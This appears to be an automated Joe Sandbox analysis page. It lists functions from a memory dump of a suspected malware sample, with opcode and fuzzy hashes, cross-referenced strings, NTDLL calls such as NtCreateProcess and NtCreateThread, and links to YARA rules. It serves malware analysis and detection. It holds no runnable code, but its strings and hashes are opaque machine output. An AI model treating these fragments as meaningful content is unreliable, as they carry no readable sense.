Opcode ID: ef2dfb258221354c4a2ac86f9b48fd08954e0429a6fb537099b183a4f4dce627
Instruction ID: 19a9c831353c4af0b80f7ab01991c4492e7d6468d85793b00c7a7dc5a745ce3c
Opcode Fuzzy Hash: ef2dfb258221354c4a2ac86f9b48fd08954e0429a6fb537099b183a4f4dce627
Instruction Fuzzy Hash: 1F42F035A05211CFCB08CF69D8906EEBBF2FB8A315F1984BED94697351D334A946CB84

Function 004131D0 Relevance: 4.4, Strings: 3, Instructions: 680COMMON

Download Yara Rule

Strings

G3A, xrefs: 0041331A
"5A, xrefs: 004134F8
@3A, xrefs: 0041336E

Memory Dump Source

Source File: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: "5A$@3A$G3A
API String ID: 0-2201711607
Opcode ID: b383a9ab64d2aae5e28131b9e0026fee0858082a51220d8fb78bb1440dc773d6
Instruction ID: e5ccebff12236fc460d68baf1a897842604d23f56f9e60732410fb392026ecd1
Opcode Fuzzy Hash: b383a9ab64d2aae5e28131b9e0026fee0858082a51220d8fb78bb1440dc773d6
Instruction Fuzzy Hash: 1612BC35A05211CFCB08CF68D8906EEBBF2FB8E315F198479C946A7352D335A946CB94

Function 003F1B40 Relevance: 4.4, Strings: 3, Instructions: 657COMMON

Download Yara Rule

Strings

;:54, xrefs: 003F1C79
;:54, xrefs: 003F1CEE
s}, xrefs: 003F1C18

Memory Dump Source

Source File: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID: InitializeThunk
String ID: ;:54$;:54$s}
API String ID: 2994545307-2837035532
Opcode ID: 078364473f366eee0b810d692d8a824e97ae25f7f58e766071ccd3e3dd3630c3
Instruction ID: 6badade6e4c0cc34e3e25b8728e98c23a0840f2938036a5e738aca4f068c2f73
Opcode Fuzzy Hash: 078364473f366eee0b810d692d8a824e97ae25f7f58e766071ccd3e3dd3630c3
Instruction Fuzzy Hash: 2A221CB1608344CBE721DF21C881B7FBBE2EBC5704F15882DEA859B291D779E841CB56

Function 004132C0 Relevance: 4.4, Strings: 3, Instructions: 637COMMON

Download Yara Rule

Strings

G3A, xrefs: 0041331A
"5A, xrefs: 004134F8
@3A, xrefs: 0041336E

Memory Dump Source

Source File: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: "5A$@3A$G3A
API String ID: 0-2201711607
Opcode ID: eb7516c6269bdad645d288f0ad5a10b65a3cca38bfded6fa39840aba7c59043e
Instruction ID: 00b2d15795c4207b7a71c1ea4c213e89186dd7775dc06dba27376c7cf2aa3cc5
Opcode Fuzzy Hash: eb7516c6269bdad645d288f0ad5a10b65a3cca38bfded6fa39840aba7c59043e
Instruction Fuzzy Hash: D002DD35A05211CFCB08CF68D8906EEBBF2FB8A315F19847DD84AA7352D335A946CB54

Function 003FAC04 Relevance: 4.3, Strings: 3, Instructions: 578COMMON

Download Yara Rule

Strings

TU, xrefs: 003FB338
YB]G, xrefs: 003FB048
SRP\, xrefs: 003FB030

Memory Dump Source

Source File: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: SRP\$TU$YB]G
API String ID: 0-3716301176
Opcode ID: 68185f141db98929d2084b55b7189d6cc3fae9078cd413f5a51fb9e0ff9669f9
Instruction ID: a8934e61bedac41016b196770675bdd1aedc27e0645d2090ac216c709def6335
Opcode Fuzzy Hash: 68185f141db98929d2084b55b7189d6cc3fae9078cd413f5a51fb9e0ff9669f9
Instruction Fuzzy Hash: 300234B16083418FC7059F28D8916ABF7E2EF96305F09892DF5C98B391E378D905CB92

Function 00412850 Relevance: 4.2, Strings: 3, Instructions: 475COMMON

Download Yara Rule

Strings

3, xrefs: 00412CBE
P, xrefs: 004129E1
InA>, xrefs: 00412BB0

Memory Dump Source

Source File: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: InA>$P$3
API String ID: 0-4254740818
Opcode ID: c51cd5582395bb7dec0d22b0fa717735e6ffe828681f3d3c470a01502222b74d
Instruction ID: 8f00520a8912bfd762475f42a5586b9d3342d197c25ffe2c48104a211559e902
Opcode Fuzzy Hash: c51cd5582395bb7dec0d22b0fa717735e6ffe828681f3d3c470a01502222b74d
Instruction Fuzzy Hash: F2F1277264C3654FC325CE28985039FB7E2EBC4714F15862DE8A59B391CBB8C886C7C6

Function 003D8340 Relevance: 4.2, Strings: 3, Instructions: 420COMMON

Download Yara Rule

Strings

), xrefs: 003D83BC
IEND, xrefs: 003D87AC
), xrefs: 003D83C6

Memory Dump Source

Source File: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: )$)$IEND
API String ID: 0-588110143
Opcode ID: 3989f1f716f9849b6afb47e0ab1c8ad0ee045af6c38376657faff0ec2f68fdc7
Instruction ID: 7a743b6c15e9724076ae663f6cc04cfda619cde23071519043504f986ea1d092
Opcode Fuzzy Hash: 3989f1f716f9849b6afb47e0ab1c8ad0ee045af6c38376657faff0ec2f68fdc7
Instruction Fuzzy Hash: 1AF1E072A087429BE315DF28E84176ABBE0FB84304F15462EF9959B381DB74F914CBC2

Function 003FC3E0 Relevance: 4.0, Strings: 3, Instructions: 221COMMON

Download Yara Rule

Strings

Uqrs, xrefs: 003FC40A
cba, xrefs: 003FC594
Ea#c, xrefs: 003FC458

Memory Dump Source

Source File: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: Ea#c$Uqrs$cba
API String ID: 0-809142158
Opcode ID: 745fba656040ca47f5657d77dff3b97a67a36b5cbd348e6fdc7ffd60ab482d57
Instruction ID: ef1fbfa6b679a398e3107164ba91006ce563800e4d239fc9d3487b8f4edf040e
Opcode Fuzzy Hash: 745fba656040ca47f5657d77dff3b97a67a36b5cbd348e6fdc7ffd60ab482d57
Instruction Fuzzy Hash: 5471CE721183598FD321CF25984075FFBE4EBC5714F46892DE8E99B281D778860ACBD2

Function 003DE8DE Relevance: 3.8, Strings: 3, Instructions: 51COMMON

Download Yara Rule

Strings

%!-0, xrefs: 003DE906
:g;1, xrefs: 003DE8DE
j, xrefs: 003DE91D

Memory Dump Source

Source File: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: %!-0$:g;1$j
API String ID: 0-565037024
Opcode ID: 38defdc6aa31cf43891f6ee2144ad52b77a07466f76004ee8d5a4572fc70d355
Instruction ID: aa1c8cc767ad584d1b5ea234b1a99464bb8c28e9bcea3ed74bda57b964a5d737
Opcode Fuzzy Hash: 38defdc6aa31cf43891f6ee2144ad52b77a07466f76004ee8d5a4572fc70d355
Instruction Fuzzy Hash: AF11C16124A380CBC3529F25A46016BFFE0AF82744F585E5DE0D26F351D374C90A8B45

Function 003DE996 Relevance: 3.8, Strings: 3, Instructions: 25COMMON

Download Yara Rule

Strings

j, xrefs: 003DE9DD
:g;1, xrefs: 003DE99E
%!-0, xrefs: 003DE9C6

Memory Dump Source

Source File: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: %!-0$:g;1$j
API String ID: 0-565037024
Opcode ID: fa23b5c8106c8b6eb18a1e5e27922acec8cb3fb0240a5a66eefb843f2f12593b
Instruction ID: c2f1ba7a5de6b7f3b1b86670eb8a494511012d041096b106ec28b498baafbcd5
Opcode Fuzzy Hash: fa23b5c8106c8b6eb18a1e5e27922acec8cb3fb0240a5a66eefb843f2f12593b
Instruction Fuzzy Hash: 2BF017B00193408BD7529F29955151FFFE0FBD6218F906F5CE0E66B291D3B5C60A8B4B

Function 0048336C Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 52filenativeCOMMON

Download Yara Rule

APIs

NtQueryDirectoryFile.NTDLL(?,?,?,?,?,?,?,?,?,?,?), ref: 004833C4

Strings

-v, xrefs: 004833C4

Memory Dump Source

Source File: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID: DirectoryFileQuery
String ID: -v
API String ID: 3295332484-3740913740
Opcode ID: 79e5a7d5801fd8e2649548dacec537640df153583337949d42b4cc3c6bd84cb0
Instruction ID: dd695f9533382326daace895faae631e59da25347861863524ffb850529bb6f6
Opcode Fuzzy Hash: 79e5a7d5801fd8e2649548dacec537640df153583337949d42b4cc3c6bd84cb0
Instruction Fuzzy Hash: CF01E1B62052897F9B00CE9ADCC4DEBBFACFB9E654B444015FA4883202C170AC51C770

Function 00482B50 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 48filenativeCOMMON

Download Yara Rule

APIs

NtDeviceIoControlFile.NTDLL(?,?,?,?,?,?,?,?,?,?), ref: 00482BA0

Strings

*v, xrefs: 00482BA0

Memory Dump Source

Source File: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID: ControlDeviceFile
String ID: *v
API String ID: 3512290074-1826163804
Opcode ID: e39b1d9c5214d38e9f8ebbbaee3832fa11ed316c16a3ffb5e4f92eecbf67938d
Instruction ID: 42128b453ae032650af48322e2c043b54fc792e8b57c76dd0a65ccb7fb9e5dd6
Opcode Fuzzy Hash: e39b1d9c5214d38e9f8ebbbaee3832fa11ed316c16a3ffb5e4f92eecbf67938d
Instruction Fuzzy Hash: B501CDB6201249BF9B10DE8ADCC4DEBBBACFB9D3A4B444415BB0887201C270AC50D7B0

Function 00482E6C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 48filenativeCOMMON

Download Yara Rule

APIs

NtFsControlFile.NTDLL(?,?,?,?,?,?,?,?,?,?), ref: 00482EBC

Strings

.v, xrefs: 00482EBC

Memory Dump Source

Source File: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID: ControlFile
String ID: .v
API String ID: 1795486800-1619843407
Opcode ID: a341ad096b170bf6bc3f9dbdcedcee54f758506648381aa10de2c959ee051305
Instruction ID: 26d1004de45c692bcab54d716c7abb1211dd9ecd18f7fa32c88de2dc4a5749a9
Opcode Fuzzy Hash: a341ad096b170bf6bc3f9dbdcedcee54f758506648381aa10de2c959ee051305
Instruction Fuzzy Hash: 1101E1B6204259BF9B00CE8ADCC8DEBBBACFB9D354B444415BB0887211C274AC50CBB0

Function 00483180 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 48nativeCOMMON

Download Yara Rule

APIs

NtNotifyChangeKey.NTDLL(?,?,?,?,?,?,?,?,?,?), ref: 004831D0

Strings

<v, xrefs: 004831D0

Memory Dump Source

Source File: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID: ChangeNotify
String ID: <v
API String ID: 3893256919-2058100141
Opcode ID: c7234290f3a1f76146bd2aa54c29e19d02203fa20795778053cafcecd7cf0af1
Instruction ID: 9e6152f5a1888015503e3c00c38c390b7c64c88dffa6b4e78fd90c832f931bf1
Opcode Fuzzy Hash: c7234290f3a1f76146bd2aa54c29e19d02203fa20795778053cafcecd7cf0af1
Instruction Fuzzy Hash: F5011DB62051897F9B00CE9ADCC8DEBBF6CFB9E654B484015BA4883201C130AC10C7B0

Function 0048348C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 48filenativeCOMMON

Download Yara Rule

APIs

NtLockFile.NTDLL(?,?,?,?,?,?,?,?,?,?), ref: 004834DC

Strings

0;v, xrefs: 004834DC

Memory Dump Source

Source File: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID: FileLock
String ID: 0;v
API String ID: 3169042693-3411723046
Opcode ID: 14b2ec82b85af12624b6eb1266e4d89c334ca30af12acfa3962ab064b446fa89
Instruction ID: ea429f5695126575a9724fc68923bbd850d27126305a3511ab77dbecb5144510
Opcode Fuzzy Hash: 14b2ec82b85af12624b6eb1266e4d89c334ca30af12acfa3962ab064b446fa89
Instruction Fuzzy Hash: 0F01E1B62051897FDB11DE9ADCC4DEFBFACFB9E694B484415BA4883202C134AD51D7B0

Function 00482CA0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 44nativeCOMMON

Download Yara Rule

APIs

NtCreateProcessEx.NTDLL(?,?,?,?,?,?,?,?,?), ref: 00482CE8

Strings

`/v, xrefs: 00482CE8

Memory Dump Source

Source File: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID: CreateProcess
String ID: `/v
API String ID: 963392458-1387592339
Opcode ID: dca67d64bf28d856d4c16dca787d2aa23445da32743db351eb5b7e92ec298bb9
Instruction ID: c1e51e7ef737b576dfb4cd8acf2b9e4d641c1c5ee2863310665c401d41a36577
Opcode Fuzzy Hash: dca67d64bf28d856d4c16dca787d2aa23445da32743db351eb5b7e92ec298bb9
Instruction Fuzzy Hash: 8DF0B2B6500259BFDB10DE8ADCC4DEB7B6CFB8D7A4B448415BB1897201C274AD50DBB0

Function 00482BE4 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 40nativethreadCOMMON

Download Yara Rule

APIs

NtCreateThread.NTDLL(?,?,?,?,?,?,?,?), ref: 00482C24

Strings

p/v, xrefs: 00482C24

Memory Dump Source

Source File: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID: CreateThread
String ID: p/v
API String ID: 2422867632-1365440520
Opcode ID: f19256dc298550051de8d45a11db6edb95fc057cbdb08ea91be1faa46c63d337
Instruction ID: 0274b7640cb3e9446cee90b326935e62145a6a86f80c9ef7e260893ae4b75e7f
Opcode Fuzzy Hash: f19256dc298550051de8d45a11db6edb95fc057cbdb08ea91be1faa46c63d337
Instruction Fuzzy Hash: CBF0FEB62051487F9B109F9AEC88DFB7FACEB9E6A4B448515FA0887211C270AD50C7B0

Function 00482C50 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 40nativeCOMMON

Download Yara Rule

APIs

NtCreateProcess.NTDLL(?,?,?,?,?,?,?,?), ref: 00482C90

Strings

6v, xrefs: 00482C90

Memory Dump Source

Source File: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID: CreateProcess
String ID: 6v
API String ID: 963392458-807142668
Opcode ID: b0db5a5b2fe805c58f61e3643584a0d6c32984d138232d3f31205b677aa016fc
Instruction ID: 0ca54ae71126590a3a684811270c3867670be72376956ea7695a629b880276f5
Opcode Fuzzy Hash: b0db5a5b2fe805c58f61e3643584a0d6c32984d138232d3f31205b677aa016fc
Instruction Fuzzy Hash: 21F0F4B61002587FD710DE9ADCC8DEB7BACFB9D7A4B444415BA0887211C274AC50D7B0

Function 00482F04 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 40nativeCOMMON

Download Yara Rule

APIs

NtAccessCheck.NTDLL(?,?,?,?,?,?,?,?), ref: 00482F44

Strings

p*v, xrefs: 00482F44

Memory Dump Source

Source File: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID: AccessCheck
String ID: p*v
API String ID: 3492747997-2575464312
Opcode ID: 6cb4345934b3ac9c67e678b4b53858befd3e58664626c7a2b202e82ee7708272
Instruction ID: c64cb326168df27a6ff69ba42fcb2fd2e47d30265db9e9e0306a74d9e1fc9406
Opcode Fuzzy Hash: 6cb4345934b3ac9c67e678b4b53858befd3e58664626c7a2b202e82ee7708272
Instruction Fuzzy Hash: 00F0DAB6100249BFA710DE8ADCC8DEB7BACEB9D7A4B444419FB0987211C270AC10DBB4

Function 00483028 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 36nativeCOMMON

Download Yara Rule

APIs

NtCreateKey.NTDLL(?,?,?,?,?,?,?), ref: 00483060

Strings

`,v, xrefs: 00483060

Memory Dump Source

Source File: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID: Create
String ID: `,v
API String ID: 2289755597-353665091
Opcode ID: 7c74c34f47cf9b6593cc2d34404e9dd817a5fd3367e18633835598ac9ae5023a
Instruction ID: 141805f8a6d19f630b058637889a6dee38904027774c30d09efc513ea70431be
Opcode Fuzzy Hash: 7c74c34f47cf9b6593cc2d34404e9dd817a5fd3367e18633835598ac9ae5023a
Instruction Fuzzy Hash: 35F037B65042087FDB109E8ADC88DEB7F6CEBCE7A5F004415F61997101D6706D00D7B1

Function 004833F4 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 36nativeCOMMON

Download Yara Rule

APIs

NtDuplicateObject.NTDLL(?,?,?,?,?,?,?), ref: 0048342C

Strings

P.v, xrefs: 0048342C

Memory Dump Source

Source File: 00000000.00000002.2179308756.0000000000429000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2179292915.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179308756.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_SecuriteInfo.jbxd

Similarity

API ID: DuplicateObject
String ID: P.v
API String ID: 3677547684-1806619790
Opcode ID: 6a5eaba203e60f087768bd1ea847aa9192a1b21a5590d897a372c5ad5b0597d3
